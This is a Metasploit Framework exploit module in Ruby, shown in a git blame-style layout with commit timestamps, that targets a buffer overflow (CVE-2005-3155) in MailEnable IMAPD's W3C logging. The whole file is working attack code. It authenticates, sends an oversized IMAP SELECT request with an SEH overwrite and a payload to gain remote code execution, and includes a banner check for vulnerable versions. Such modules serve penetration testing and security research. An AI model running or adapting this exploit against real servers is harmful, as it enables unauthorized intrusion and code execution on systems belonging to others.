2007-02-18 00:10:39 +00:00
|
|
|
##
|
2007-03-01 08:21:36 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 00:10:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
2005-12-05 05:00:27 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = GreatRanking
|
2005-12-05 05:00:27 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Imap
|
|
|
|
include Msf::Exploit::Remote::Seh
|
2005-12-05 05:00:27 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-04-30 08:40:19 +00:00
|
|
|
super(update_info(info,
|
2005-12-05 05:00:27 +00:00
|
|
|
'Name' => 'MailEnable IMAPD W3C Logging Buffer Overflow',
|
|
|
|
'Description' => %q{
|
2010-04-30 08:40:19 +00:00
|
|
|
This module exploits a buffer overflow in the W3C logging
|
2005-12-05 05:00:27 +00:00
|
|
|
functionality of the MailEnable IMAPD service. Logging is
|
|
|
|
not enabled by default and this exploit requires a valid
|
|
|
|
username and password to exploit the flaw. MailEnable
|
|
|
|
Professional version 1.6 and prior and MailEnable Enterprise
|
|
|
|
version 1.1 and prior are affected.
|
|
|
|
},
|
|
|
|
'Author' => [ 'MC' ],
|
2006-06-21 18:38:40 +00:00
|
|
|
'License' => MSF_LICENSE,
|
2005-12-05 05:00:27 +00:00
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
2010-04-30 08:40:19 +00:00
|
|
|
[ 'CVE', '2005-3155'],
|
2009-06-07 20:20:42 +00:00
|
|
|
[ 'OSVDB', '19842'],
|
2005-12-05 05:00:27 +00:00
|
|
|
[ 'BID', '15006'],
|
|
|
|
],
|
|
|
|
'Privileged' => true,
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'thread',
|
2010-04-30 08:40:19 +00:00
|
|
|
},
|
2005-12-05 05:00:27 +00:00
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 600,
|
|
|
|
'BadChars' => "\x00\x0a\x0d\x20",
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
2010-04-30 08:40:19 +00:00
|
|
|
'Targets' =>
|
2005-12-05 05:00:27 +00:00
|
|
|
[
|
|
|
|
['MailEnable 1.54 Pro Universal', { 'Ret' => 0x1001c019 } ] #MEAISP.DLL
|
|
|
|
],
|
|
|
|
'DisclosureDate' => '',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2005-12-05 05:00:27 +00:00
|
|
|
def check
|
|
|
|
connect
|
|
|
|
disconnect
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2005-12-05 05:00:27 +00:00
|
|
|
if (banner and banner =~ /MailEnable Service, Version: 0-1\.54/)
|
|
|
|
return Exploit::CheckCode::Vulnerable
|
|
|
|
end
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2005-12-05 05:00:27 +00:00
|
|
|
def exploit
|
|
|
|
connect_login
|
2010-04-30 08:40:19 +00:00
|
|
|
|
|
|
|
buf = rand_text_alphanumeric(6196, payload_badchars)
|
2005-12-05 05:00:27 +00:00
|
|
|
seh = generate_seh_payload(target.ret)
|
|
|
|
req = 'a01 SELECT ' + buf + seh + "\r\n"
|
|
|
|
sock.put(req)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2005-12-05 05:00:27 +00:00
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
|
2009-06-07 20:20:42 +00:00
|
|
|
end
|